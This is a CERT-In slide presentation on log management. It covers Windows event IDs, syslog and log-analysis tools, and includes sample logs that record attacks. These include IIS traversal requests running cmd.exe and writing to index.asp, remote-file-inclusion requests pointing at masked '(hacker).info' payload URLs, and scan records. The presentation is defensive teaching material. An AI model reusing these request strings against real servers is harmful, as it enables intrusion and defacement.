

Log Management

Anil Sagar

Additional Director

Indian Computer Emergency Response Team (CERT-In)

- Importance of Logs
- Understanding Logs
 - Log samples & analysis
- Challenges in Log Analysis

Importance of Log Files



- Log
 - Record of actions and events that takes place on a system/device
 - Primary record keepers of system and network activity

- Benefits
 - Logs provide clues about performance issues, application function problems, intrusion and attack attempts etc.
 - The logs provide vital inputs for managing the computer security incidents, both for Incident Prevention and Incident Response
 - Benefits
 - When responding to computer security incident, logs provide leads to the activities performed over the system
 - Facilitates cyber crime investigation
 - Determine the activity
 - Determine the origin of attack

Problems in Managing Log Files

- Failure to acknowledge the importance of logs leads to careless management
- No periodical review by the administrator
- Not turn on because of disk space constraint
- When the associated log files are deleted after hacking, the hacker may delete/modify unsecured logs

- System Logs
- Application Logs
- Firewall logs
- IDS/IPS logs
- Application Server Logs
 - Web server
 - Mail server
 - Database server

Understanding Log Files



- Source of generation
 - Web sever, mail server
 - System logs
 - Firewall, IDS, IPS
 - Third party reporting tools
- Format
 - W3C
 - NCSA
 - Common Log Format
 - Combined Log Format
 - Syslog
 - Event log
- Type, level
 - Access log, Error log
- Time stamps

Event Viewer

- Security Logs
- Application Logs
- System Logs

- Security Logs
 - valid and invalid logon attempts
 - resource use such as creating, opening, or deleting files or other objects
- Application Logs
 - events logged by applications or programs
 - Depends on developer
- System logs
 - events logged by system components
 - Ex: Functioning of drivers

- Firewall logs
 - Firewall logs provide useful information about
 - The inbound and outbound packets
 - Information about particular servers e.g. Web Server
 - Packets which have been dropped
 - Alerts to the SA
 - Probing the system
- IDS Logs
 - Provides the information about
 - Alerts on suspicious packet types
 - Helps in determining the probes
 - Helps in generating new attack signatures
 - Attack statistics (Host / Network based)

- Web Server logs
 - Error Logs
 - Access Logs
- Mail Server logs
 - Connection Status
 - SMTP queues
 - Protocol Status (IMAP, POP3, SMTP)
- FTP Server Logs
 - Current logins
 - Commands executed
 - File uploaded and downloaded
- Database Server Logs
 - User activity
 - Objects accessed
 - Creation of new tables, databases, etc..

- Auditing and Log generation
- Log management
 - Rotation
 - Central management
 - Security

- Centralized system logging is an essential part of a good security policy
- Centralized network monitoring is an essential part of a good network operations policy
- Centralized system logging can be done by configuring a unix box as a syslogger

- Set proper permissions on log files
- Use a separate server (Central Syslogger)
- Make regular backups of the log files
- Use write once media
- Encrypt log files

- Non availability of proper logs
 - No auditing
 - Insufficient security
 - Poor management of Logs
- With logs available
 - Volume
 - Storage space, portability
 - Skills

Sample Logs and Analysis

Local logon attempt failures

Event IDs 529, 530, 531, 532, 533, 534, and 537

Account Misuse

Events IDs 530, 531, 532, and 533

Account Lockouts

Event IDs 539

Terminal Services attacks

Terminal Services sessions can be left in a connected state that allows processes to continue running after the session is ended. Event ID 683 indicates when a user does not log out from the Terminal Services session, and Event ID 682 indicates when a connection to a previously disconnected session has occurred.

Domain logon attempt failures

Event IDs 675 and 677

Creation of a user account. Event IDs 624 and 626

User account password changed

Event IDs 627 and 628

User account status changed

An attacker may attempt to cover their tracks by disabling or deleting the account used during an attack. All occurrences of Event IDs 629 and 630 should be investigated to ensure that these are authorized transactions. Also look for occurrences of Event ID 626 followed by Event ID 629 a short time later. This can indicate that a disabled account was enabled, used, and then disabled again.

Modification of Security Groups.

- Global group membership modifications
Event IDs 632 and 633
- Domain local group membership modifications
Event IDs 636 and 637

Modification of Security Log

Event IDs 612 and 517: to determine which user modified the audit policy

All occurrences of Event ID 517 should be compared to a physical log indicating all times that the security log was cleared.

Policy Change

Event ID 608: User right assigned

Event ID 609: User right removed

Process Tracking

The event log can show attempts to create processes and end processes.

This will create large number of audit entries

Event ID 592 Creation of process

Event ID 593 Exit from process

- A comprehensive logging system, used to manage information generated by the kernel and system utilities
- Allow messages to be sorted by their sources and importance, and routed to a variety of destinations:
 - log files, users' terminals, or even other machines
- Syslogd - the daemon that does the actual logging
- `/etc/syslog.conf` - configuration file

- Dec 27 02:50:00 bruno ftpd [27876]:
open of pid file failed: not a directory
- Dec 27 02:50:00 - Time stamp
- bruno - Terminal Name
- ftpd - Application Name
- 27876 - Process id of the Application
- open of pid file failed: not a directory
 - This is the message text

- 2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80
GET /scripts/../../../../winnt/system32/cmd.exe /c+dir
200 –
- 2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80
GET /scripts/../../../../winnt/system32/cmd.exe /c+dir+..\
200 –
- 2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80
\ GET /scripts/../../../../winnt/system32/cmd.exe
/c+copy+\winnt\system32\cmd.exe+root.exe 502 –
- 2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80
\ GET /scripts/root.exe /c+echo+<HTML code
inserted here>../../../../index.asp 502 -

Apache web server Error Logs



- [Tue Sep 3 11:12:04 2006] [error] [client 192.168.10.1] Invalid URI in request GET ../../home HTTP/1.0
- [Tue Sep 3 11:12:10 2006] [error] [client 192.168.10.1] Invalid URI in request GET ../../cgi-bin HTTP/1.0
- [Tue Sep 3 11:17:34 2006] [error] [client 192.168.10.1] File does not exist: /home/httpd/html/favicon.ico
- [Tue Sep 3 11:17:40 2006] [error] [client 192.168.10.1] File does not exist: /home/httpd/html/alkjdsfkl
- [Tue Sep 3 11:17:44 2006] [error] [client 192.168.10.1] Invalid method in request get
- [Tue Sep 3 11:17:51 2006] [error] [client 192.168.10.1] File does not exist: /home/httpd/html/alkjdsfkl.html
- [Tue Sep 3 11:19:01 2006] [error] [client 192.168.10.1] File does not exist: /home/httpd/html/gfd
- [Tue Sep 3 11:31:11 2006] [notice] child pid 586 exit signal Segmentation fault (11)
- [Tue Sep 3 11:42:56 2006] [error] [client 192.168.10.1] File does not exist: /home/httpd/html/adm

AT.20.81.7 - - [30/Sep/2007:20:49:51 +0900] "GET /%7Ekjm/security/ml-archive/full-disclosure//include/write.php?dir=http://www.(hacker).info/niaz/logold.jpg? HTTP/1.1" 404 257 "-" "libwww-perl/5.79" "-"

AT.20.81.7 - - [30/Sep/2007:21:49:18 +0900] "GET /%7Ekjm/security/ml-archive/bugtraq/2005.02//include/write.php?dir=http://www.(hacker2).us/burmilla5.jpg? HTTP/1.1" 404 257 "-" "libwww-perl/5.79" "-"

AT.20.81.7 - - [30/Sep/2007:21:49:20 +0900] "GET //include/write.php?dir=http://www.(hacker).info/niaz/logold.jpg? HTTP/1.1" 404 216 "-" "libwww-perl/5.79" "-"

AT.20.81.7 - - [30/Sep/2007:21:49:21 +0900] "GET //include/write.php?dir=http://www.(hacker2).us/burmilla5.jpg? HTTP/1.1" 404 216 "-" "libwww-perl/5.79" "-"

AT.20.81.7 - - [30/Sep/2007:21:49:26 +0900] "GET /%7Ekjm/security/ml-archive/bugtraq//include/write.php?dir=http://www.(hacker).info/niaz/logold.jpg? HTTP/1.1" 404 249 "-" "libwww-perl/5.79" "-"

AT.20.81.7 - - [30/Sep/2007:21:49:30 +0900] "GET /%7Ekjm/security/ml-archive/bugtraq//include/write.php?dir=http://www.(hacker2).us/burmilla5.jpg? HTTP/1.1" 404 249 "-" "libwww-perl/5.79" "-"

AT.20.81.7 - - [30/Sep/2007:21:52:00 +0900] "GET /%7Ekjm/security/ml-archive/full-disclosure/2005.02//include/write.php?dir=http://www.(hacker).info/niaz/logold.jpg? HTTP/1.1" 404 265 "-" "libwww-perl/5.79" "-"

AT.20.81.7 - - [30/Sep/2007:21:52:01 +0900] "GET /%7Ekjm/security/ml-archive/full-disclosure/2005.02//include/write.php?dir=http://www.(hacker2).us/burmilla5.jpg? HTTP/1.1" 404 265 "-" "libwww-perl/5.79" "-"

- **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:20 flags -**
 - **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:20 flags -**
 - **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:19 flags -**
 - **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:19 flags -**
 - **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:19 flags -**
 - **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:19 flags -**
 - **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:19 flags -**
 - **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:19 flags -**
 - **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:19 flags -**
 - **UDP out AT.232.130.14:53 in VT.187.192.15:53 idle 0:01:19 flags –**
-
- **Victim – VT.187.192.15**
 - **Attack origin – AT.232.130.14**

IDS Logs

- HTTP_IIS_URL_Decoding|4/25/2002|2:42:47PM|xxx.210.245.1
30|3619|xxx.yyy.zzz. 207|80
HTTP_IIS_URL_Decoding|4/25/2002|2:42:47PM|xxx.210.245.1
30|3619|xxx.yyy.zzz. 207|80
HTTP_IIS_URL_Decoding|4/25/2002|2:42:49PM|xxx.210.245.1
30|3697|xxx.yyy.zzz. 207|80
HTTP_IIS_URL_Decoding|4/25/2002|2:42:49PM|xxx.210.245.1
30|3697|xxx.yyy.zzz. 207|80
HTTP_IIS_URL_Decoding|4/25/2002|2:42:51PM|xxx.210.245.1
30|3786|xxx.yyy.zzz. 207|80
HTTP_IIS_URL_Decoding|4/25/2002|2:42:51PM|xxx.210.245.1
30|3786|xxx.yyy.zzz. 207|80

(all times are Daylight Saving Time [EDT]/GMT -0400/UTC-4):

**Nov 1 19:52:13 target1.subdomain.edu SRC=AT.17.139.212
DST=VT.173.8.44 PROTO=TCP SPT=3046 DPT=139
Nov 1 19:52:14 target2.subdomain.edu SRC=AT.17.139.212
DST=VT.173.8.62 PROTO=TCP SPT=3064 DPT=139
Nov 1 19:52:15 target1.subdomain.edu SRC=AT.17.139.212
DST=VT.173.8.44 PROTO=TCP SPT=3046 DPT=139
Nov 1 19:52:17 target2.subdomain.edu SRC=AT.17.139.212
DST=VT.173.8.62 PROTO=TCP SPT=3064 DPT=139
Nov 1 19:52:22 target3.subdomain.edu SRC=AT.17.139.212
DST=VT.173.8.183 PROTO=TCP SPT=3203 DPT=139
Nov 1 19:52:22 target1.subdomain.edu SRC=AT.17.139.212
DST=VT.173.8.44 PROTO=TCP SPT=3046 DPT=139
Nov 1 19:52:23 target2.subdomain.edu SRC=AT.17.139.212
DST=VT.173.8.62 PROTO=TCP SPT=3064 DPT=139
Nov 1 19:52:23 target4.subdomain.edu SRC=AT.17.139.212
DST=VT.173.8.225 PROTO=TCP SPT=3251 DPT=139
Nov 1 19:52:25 target3.subdomain.edu SRC=AT.17.139.212
DST=VT.173.8.183 PROTO=TCP SPT=3203 DPT=139**

- **Who is the Victim??**

[] [1:2001219:14] BLEEDING-EDGE Potential SSH Scan [**]
[Classification: Attempted Information Leak] [Priority: 2]
10/15-20:15:03.430912 AT.160.80.200:33475 -> VT.130.27.12:22
TCP TTL:48 TOS:0x0 ID:5286 IpLen:20 DgmLen:60 DF
*****S* Seq: 0x3DE84061 Ack: 0x0 Win: 0x16D0 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 3673904327 0 NOP WS: 2
[Xref => http://en.wikipedia.org/wiki/Brute_force_attack]**

[] [1:2001219:14] BLEEDING-EDGE Potential SSH Scan [**]
[Classification: Attempted Information Leak] [Priority: 2]
10/15-20:15:03.444345 AT.160.80.200:33477 -> VT.130.27.14:22
TCP TTL:48 TOS:0x0 ID:62908 IpLen:20 DgmLen:60 DF
*****S* Seq: 0x3DFCA17B Ack: 0x0 Win: 0x16D0 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 3673904327 0 NOP WS: 2
[Xref => http://en.wikipedia.org/wiki/Brute_force_attack]**

[] [1:2001219:14] BLEEDING-EDGE Potential SSH Scan [**]
[Classification: Attempted Information Leak] [Priority: 2]
10/15-20:15:03.463595 AT.160.80.200:33497 -> VT.130.27.34:22
TCP TTL:48 TOS:0x0 ID:48052 IpLen:20 DgmLen:60 DF
*****S* Seq: 0x3D93EF7C Ack: 0x0 Win: 0x16D0 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 3673904328 0 NOP WS: 2
[Xref => http://en.wikipedia.org/wiki/Brute_force_attack]**

- **GFI LANguard**, Event manager
<http://www.gfi.com/downloads/downloads.asp?pid=6&id=1>
- **Event Log Monitor** — TNT Software
<http://www.tntsoftware.com/>
- **Event Archiver** — Dorian Software Creations
<http://www.doriansoft.com/>
- **LogCaster** — RippleTech
<http://www.rippletech.com/>

- `dumpevt.exe`
program to dump/convert the event log into text format.
<http://www.systemtools.com/somarsoft/>
- `elsave.exe`
console app to save and/or clear a Windows NT event log.
<http://www.ibt.ku.dk/jesper/ELSave/default.htm>
- `findstr.exe`
searches for strings in files. It is a windows native tool. Used to extract specific events from the text version of the log files.
- `logevent.exe`
log a user event to EventLog registry. Used to add an event on the application log to correlate with security events generating while manipulating the security log.
<http://www.microsoft.com/windows/reskits/default.asp>

- [ACID](#) (Analysis Console for Intrusion Detection): A PHP-based analysis engine that searches and processes a database of incidents generated by security-related software such as intrusion detection systems and firewalls.
- *awk*: [Checking Your System Logs with awk](#) For the ultimate in roll-your-own. From the author: "This piece serves as a brief introduction to the awk programming language, discusses how to use awk to process UNIX log files, and provides several example scripts for system monitoring. It is not a complete toolkit, but rather an approach that can be adapted for a variety of log analysis tasks."
- [Scansyslog - Uses code and ideas from "The Practice of Programming"](#) to look for a large number of semi-static patterns in system logs, and then prints out only lines which are **not** matched.
- [checksyslog](#)
- [CyberSafe Log Analyst](#)
- [guard](#): Scans system logs for signs of intrusion in real time. Guard produces colored output on the tty, sends alerts and generates regular reports. Excellent database of suspicious logfile strings included.
- [IPFC: The Inter Protocol Flexible Control](#), a centralized system for collecting and correlating log data from firewalls, routers, and general purpose devices.
- [Kiwi Logfile viewer](#) is a freeware application for Windows 9X, NT/2000 and ME. Its purpose is to display log files created by Kiwi Syslog Daemon in an easy to read manner.
- [Lire](#): a suite of applications that creates custom reports based on logfiles. Currently supports *exim*, *sendmail*, *qmail*, *postfix*, BIND, BOA and some Apache logs. Reports are created as ASCII text, HTML or PDF. This is a batch processing tool.

- [log analysis](#): log analysis goes through several different kinds of logs (currently *syslog*, *wtmp* and *sulog*), over some period (defaults to yesterday), comparing each entry against a list of Perl regular expressions. If there's a match, a data-extracting rule is applied, and the appropriate information is recorded under the appropriate category. Unknown messages are stored separately.
- [LogSentry](#) (formerly Logcheck): LogSentry (formerly Logcheck) is designed to automatically run and check system log files for security violations and unusual activities. It uses a program called *logtail* that remembers the last position it read from in a log file and uses this position on subsequent runs to process new information.
- [LogDog](#): (*New and improved version of LogDog, with easier configuration and much more efficient use of system resources*) a log monitoring tool that allows you to assign keywords to generate alerts, keywords to ignore, and a list of administrators to e-mail. According to the author, LogDog will also aggregate specified messages within a (user-configured) time period.
- [log_merge](#): Assembles a coherent time line from logs received from multiple sources, based on configuration file.
- [logmuncher](#)
- SAWMILL

Tools – Generic Log Parsing



- [logtool](#): A command line program that parses *syslog* (and *syslog* like) logfiles into a more palatable format. Data will be crunched into one of the following formats for your viewing pleasure: ANSI, colorized for easy "at a glance" viewing; ASCII (for e-mailed reports, and terminals that don't support color); CSV (for importing into spreadsheets and databases); HTML (for Web-based distribution); and RAW (if you're fond of the unprocessed format). Maintained by [A. L. Lambert](#).
- [logtools](#), a set of C++ applications written for logfile management and analysis, written by [Russell Coker](#). The tools include *clfmerge* (merges HTTP Common Log Format output files in order without sorting, which is especially useful for huge Web access logs); *logprn* (similar to everybody's favorite *tail -f*, but after a configurable timeout period, will run a program and dump new data to it; *funnel* (pipes a single stream of data to several distinct files or processes); *clfsplit* (separates out Common Log Format data files by client IP address); and *clfdomainsplit* (separates out CLF data files by server domain).
- [LogWatch](#) -- log parser and reporting tool. Based on off-line processing, not real time.
- [Microsoft Log Parser v2.0](#): Allows SQL-like queries against log data in any format
- [Modular Logfile Analyzer](#): a GPL'ed parser preconfigured to report on logfiles from 15 different servers.
- [root-tail](#): places a transparent overlay of a text file (such as */var/log/messages*) into an X11 root window. Great for keeping an eye on things unobtrusively.
- [Webalizer](#) The Webalizer is a fast, free Web server logfile analysis program. It produces highly detailed, easily configurable usage reports in HTML format for viewing with a standard Web browser. Contact [Brad Barrett](#).

Tools – Generic Log Parsing



- [SEC](#) (Simple Event Correlator): " ...A free and platform independent event correlation tool that was designed to fill the gap between commercial event correlation systems and homegrown solutions that usually comprise of a few simple shell scripts."
- [SHARP](#) (*syslog* Heuristic Analysis and Response Program): SHARP is a library interface for resident programs to receive and filter *syslog* messages. Using SHARP, programs can maintain state and operate with a higher level view of system messages. SHARP can be used to throttle alert messages, track user login patterns, react when a message is not received, or even correlate messages between many systems. Contact [Matt Bing](#) for more information.
- [SIDS](#) (Statistics-based Intrusion Detection System): SIDS is a log-based anomaly detection tool. It's primarily focussed on HTTP server logs at the moment, but any predictably formatted single line log data is theoretically manageable with this code. Contact [Ryan Russell](#) for more information.
- [SLAPS-3](#): [James Finegan](#)'s project for summarizing and reporting on UNIX system logs. SLAPS-3 is a work in progress. Great tool, with good documentation for enterprise deployments and an emphasis on making information useful to system administrators.
- [SLCT \(Simple Log Clustering Tool\)](#): Code designed to identify patterns occurring in a logfile more frequently than a given threshold.
- [syslogScan 0.32](#)
- [tklogger](#): Monitors any plain text log file and identifies user-configurable events (not limited to syslog data). Application is well documented, and includes a sample startup script as well as a sample rule configuration file.
- [xlogmaster](#): A system monitoring tool that allows administrators to monitor everything that's happening on a system in a very quick and comfortable way. It allows reading logfiles, checking devices or running status-gathering programs, translating all available data, and displaying results with filters and associated actions (including highlighting or lowlighting lines, hiding data, or taking actions on user-defined events.

Tools – Firewall log analysis



- [FireGen for PIX](#): analyzes *syslog* output from Cisco PIX firewalls
- [FireGen for Symantec Enterprise Firewall](#): analyzes *syslog* output from the Symantec Enterprise Firewall (formerly Raptor)
- [firewall1.6](#): a script that configures and manages IPtables firewalls. Includes a variety of logging options, and enables detection of some port scans and probes based on the log data.
- [Fire-Waller 1.2](#): Compares *syslog* firewall data to packet filter configurations and produces an HTML document showing what connections were allowed and denied according to rule.
- [FW-1-loggrabber](#): a log export client written for the Checkpoint FireWall-1 Log Export API, for free, written by Torstein Fellhauer
- [icewatch](#): A small efficient program that monitors a given file (usually the log file produced by the NetworkICE PC firewall product) for changes in size. NetworkICE monitors common probe attempts coming in from the Internet and creates a log file with details of the attempted access.
- [pixlog](#): a tool for summarizing PIX firewall traffic and keeping track of failed logins and attempts to access the PIX enable function.
- [pix-summarize](#) -- Perl-based Cisco PIX log summarizer.
- [wflogs](#): a firewall log analyzer that can parse netfilter, ipchains, ipfilter, cisco, or snort log formats. It can output text, html or XML summaries, or monitor logs in realtime. It's particularly fast when asynchronous DNS resolution is enabled.

- CERT-In Security Guidelines for Auditing and Logging
<http://www.cert-in.org.in/knowledgebase/guidelines/cisg-2008-01.htm>
- NIST SP – 800-92 Guideline for Log Management
- <http://www.microsoft.com/technet/security/prodtech/win2000/secwin2k/09detect.mspx>
- www.loganalysis.org
- <http://www.e-evidence.info/biblio.html>
 - Sarma, S.S. & Nishant Mohorikar, Logs & Forensics December 2003
 - Sarma, S. S. & Pankaj Sharma, Logs Analysis in Windows April 2004
- **Implementing Central Logging Server using syslog-ng**
Syslog and Log files - Haiying Bao
- The importance of log files - Jonathan Gan, SANS
- <http://www.winsyslog.com/en/>
- <http://www.eventid.net>
- <http://www.monilog.com/en/>
- <http://www.eventreporter.com/en/>
- <http://support.microsoft.com/?kbid=299475>
- <http://support.microsoft.com/?kbid=301677>

Thank you

anil@cert-in.org.in

<http://www.cert-in.org.in>
